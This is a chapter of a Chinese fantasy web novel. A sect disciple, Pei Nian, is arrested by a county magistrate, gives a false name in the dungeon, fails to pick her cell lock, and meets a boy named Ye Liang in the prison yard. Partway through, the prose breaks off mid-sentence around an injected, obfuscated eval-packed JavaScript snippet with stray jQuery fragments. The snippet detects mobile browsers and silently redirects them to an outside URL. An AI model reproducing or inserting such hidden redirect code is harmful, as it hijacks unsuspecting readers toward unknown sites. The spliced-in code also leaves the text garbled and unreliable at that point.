“民女这就告辞,绝不打扰大人公务!”裴念从善如流,老老实实地行了个礼,边说边小心翼翼地往后退。
见众人似乎没有立刻阻拦的意思,她心下稍安,不由得加快脚步。
刚退到自以为安全的距离,正欲转身溜之大吉,就听曾严低沉的声音陡然打破那僵持的气氛,带着不容置疑的威严:“拿下!”
好在裴念早有防备,几乎在他开口的瞬间便身形轻灵地再次倒跃上屋檐!
但见数道黑影在瑞县的街巷间飞檐走壁,紧咬着前方那个不断腾挪的少女身影。
到底是天元宗弟子,裴念于奔跑中反手精准甩出几张符纸,符纸遇风即燃,化作数道炽热的火舌扑向追兵,暂时阻住了他们的步伐。
她趁机回头,得意地吐了吐舌头。
然而这得意仅维持了一瞬,只见前方狭窄的巷口处,不知何时又悄无声息地冒出两道黑影,与后方五人形成了完美的合围之势。
七道身影,七把散发寒气的刀刃。
裴念嘴角抽了抽,心底哀叹:早该知道这七字今日与她颇具缘分。
结局毫无悬念,她一如前世般,未能逃脱。
县衙地牢里。
潮湿的霉味混着若有似无的血腥气,顽固地直往鼻子里钻。
裴念盘腿坐在一堆发霉潮湿的稻草上,原本整洁的衣襟沾满了尘土,显得有些狼狈。
栅栏外,曾严那身官服在昏暗跳动的火把光线下,显得格外刺目而威严。
“姓名?来历?”曾严的声音低沉响起,不带丝毫情绪,每一个字都透着威压。
裴念下意识地掸了掸袖口并不存在的灰尘,借以掩饰几不可察发颤的指尖。
没事,一回生二回熟。她暗吸一口气,打定主意试试装傻充愣,死不承认又如何?
她的沉默让曾严最后一丝耐心耗尽,他正要挥手示意身旁侍卫上前。
“大人别别别!我说!我说!”裴念突然高声喝止,态度转变之快令人咋舌。
天大地大活命最大,识时务者为俊杰,这是她两世悟出的硬道理。
她喉头微动,紧张地咽下一口唾沫,脑中灵光一闪,突然福至心灵,脱口而出:“回大人,民女名为,宁、宁巧逸。”
【宿主你?!妙呀!】系统的光球剧烈闪烁,难以置信的惊叹。
裴念面上却依旧不显山不露水,她甚至微微挺直了脊背,努力让声音显得沉稳:“在下乃天元宗弟子。此行潜入周府,只为捉拿作祟艳鬼,与大人您正在处理的要务毫不相干。”
大名自然是信口胡诌的,但家门当然要自报,不然之后她怎么从这鬼地方出去呢?这笔账算得门清。
她深吸一口气,坦然迎上县令那双仿佛能洞悉一切的目光,语气不卑不亢:
“大人信或不信世间鬼魅之说,皆无妨。在下只求大人能行个方便,高抬贵手。”
曾严眼神如冰冷的刀锋,在她脸上逡巡良久,审视着每一丝细微的表情。
就在裴念感觉快要维持不住面上那点强装的镇定时,突然传来一道清晰的禀报声:“大人,衙门外有急情,几位乡老求见!”
然而,县令并未立即动身。
他反而向前微倾了半分,逼近牢栏,用一种仅她可闻的音量忽然低声道,那声音里听不出喜怒,却带着一种不容错辨的意味:“宁、巧、逸,很好,本官记下了。”
话音刚落,他蓦地转身,一行人如来时般悄无声息地迅速离去,徒留裴念一人在原地,周遭骤然陷入一片更深的死寂。
唯有腰间葫芦里,那被捉的艳鬼偶尔发出细微的窸窣碰撞声,以及地牢深处那永不间断的、水滴击石的单调轻响,提醒着时间的流逝。
她缓缓吁出一口一直憋着的气,挪到墙边,透过牢房那扇窄小气窗向外望去,只见几株枯瘦的野草在风中无助地瑟缩着。
事情发展到这一步,虽然又进了这熟悉的地方,但似乎还未脱离掌控。
骗人的!她怕死了好吗!
术法再高也怕菜刀,更何况那曾严也不是个普通县令啊!
万一呢?万一他心情不好,还未等她充分施展才能,半夜就把她给咔嚓了怎么办?
“莫要因会些术法就妄自尊大。”长老们的训诫犹在耳边。
裴念噗通一下颓然跌坐回稻草堆,整个人蔫儿了吧唧,寒气透过薄薄衣料直往骨头里钻。
【宿主别慌!我陪着你呢!】系统难得放软了语调,带着一丝生涩的安抚。
裴念抱膝蜷缩在阴影里,往日那副嬉笑摆烂、没心没肺的表象彻底褪下。
但是!一码归一码!怕归怕。
没蔫儿多久,裴念就跟打了鸡血似的猛地一骨碌爬起来。
她利落地拔下髻间一支细银簪,猫着腰,蹑手蹑脚地挪到牢门边。
此刻狱卒尚未开始巡夜,正是尝试脱身的绝佳时机!
银簪在齿间叼着咬了咬,留下几个浅浅的牙印,随后屏住呼吸,将簪子尖端小心翼翼探入那冰冷的锁孔。
咔哒、咔哒——
细微的拨弄声在死寂的牢房里被无限放大,听得她自己心惊肉跳。
手上忙活不停,耳朵却竖得老高,紧张地留意着周遭任何一丝风吹草动。
快开啊!给点面子!大哥!锁大哥!求你了!
然而天不遂人愿,倒霉蛋喝凉水都塞牙。
反复尝试数次无果后,她终于泄气地往地上一滑,银簪从无力的手中掉落,发出轻微的脆响。
得,这破牢门,今夜怕是打不开了。
裴念仔细环视这间阴冷的牢房,眼神最终落在墙角那个黑黢黢的鼠洞上。
她小心翼翼地从怀中摸出一小撮糯米,均匀地撒在洞口周围,心中默默祈愿,但愿今夜老鼠兄台能对这份意外厚礼更感兴趣,莫要再来啃咬她。
牢里死寂得能清晰听见胸腔内的心跳声。
沉重的疲惫感袭来,她再次抱着膝盖,将身体缩进墙角那片最深的阴影里,只将后背抵住冰冷刺骨的石壁,在黑暗中缓缓阖上眼,试图获取片刻安宁。
裴念是被一阵粗犷不耐的喊声骤然惊醒的:“宁巧逸!宁巧逸!用饭了!”狱卒的嗓门越来越大,带着明显的不耐烦。
她恍惚了片刻,才猛地
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16440848|179646||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
反应过来这是在叫自己。“到!”
裴念连忙应声,接过从那狭窄栅栏缝隙中递进来的、一碗根本辨不清是粥还是糊的浑浊吃食。
碗中那灰褐色的粘稠物散发着难以言喻的可疑气味。
裴念舀起一小勺,谨慎地搁在鼠洞旁,且让老鼠兄先尝尝有无古怪。
早年流浪乞食的经历让她对食物本身从不挑剔,但该有的警惕却半分不少。
牢中暗无天日,难以分辨时辰流逝。唯有那扇狭窄的气窗偶尔漏进几缕微光和一星半点的市井喧闹,提醒着外面世界的运转。
所幸,腰间葫芦里的那只艳鬼虽脆弱不堪,倒还在苟延残喘。
她百无聊赖地摆弄着手里那把豁口的木勺,甚至荒谬地开始估算,若用这玩意儿挖掘墙角,需耗费多少年月才能掘出一条生路。
自然,这只是苦中作乐的胡思乱想罢了。
裴念脑子里乱糟糟地闪过昨夜画面,曾严昨夜身着夜行衣潜入周府,应是为了那几艘离奇失事商船的船员名册。
周家老爷是专管航运,唯有掌握这份关键名录,才能顺藤摸瓜,揪出幕后之人。
她一边这般思索着,一边用手指有节奏地轻敲着膝盖。
“放风了!”狱卒粗声粗气的吆喝骤然打断了她的沉思。
囚徒放风的固定时辰到了,她起身,沉默地跟着稀稀拉拉的队列,穿过几重沉重冰冷的铁门。
久违的天光骤然从头顶倾泻而下,刺得她几乎睁不开眼。
走在队伍末尾的少女微微扬起脸,任由那久违的、带着暖意的阳光轻拂过她满是脏污的面颊。
在那凌乱的发丝间,她的双眸却明亮得惊人,丝毫未因身陷困境而黯淡。
“喂,新来的,你犯了什么事被关进来的?”身后突然传来一声沙哑低沉的询问。
裴念猛地回头,只见一个衣衫褴褛、脸上沾着污渍的少年正歪着头打量她,尽管这少年脸上有污渍,但其容貌还算不错。
她沉默不语,那少年被她看得有些不自在,挠了挠蓬乱的头发,说道:“别这么瞪我呀,我没恶意,就是随便问问。”
“怎么了?”裴念无奈地问道,“我没瞪你。”她为自己解释道。
那少年见状,反而笑嘻嘻地凑近几步,压低声音说:“你就是那个小道士,对吧?昨晚你在牢里的那些话,我可都听见了。”
他故意拖长声调,一字一顿地重复道,“宁、巧、逸,是这个名字没错吧?”
裴念点了点头。
少年见她没有立刻否认或发作,咧嘴一笑,露出两颗尖尖的虎牙。
他机灵地退到放风院子最僻静的墙根阴影处坐下,朝裴念招了招手:“过来这儿,狱卒听不见。”
见裴念仍有迟疑,他又故作轻松地补充道:“放心,我不吃人。”
裴念终是上前,却仍保持着几步的距离,盘腿坐下,姿态戒备。
少年也不在意,自顾自地枕着双臂,姿态闲散,说话却带着几分与外表不符的老成:“我叫叶良。瑞县近来闹得沸沸扬扬的水鬼索命、商船接连失事的事,你总该听说了吧?”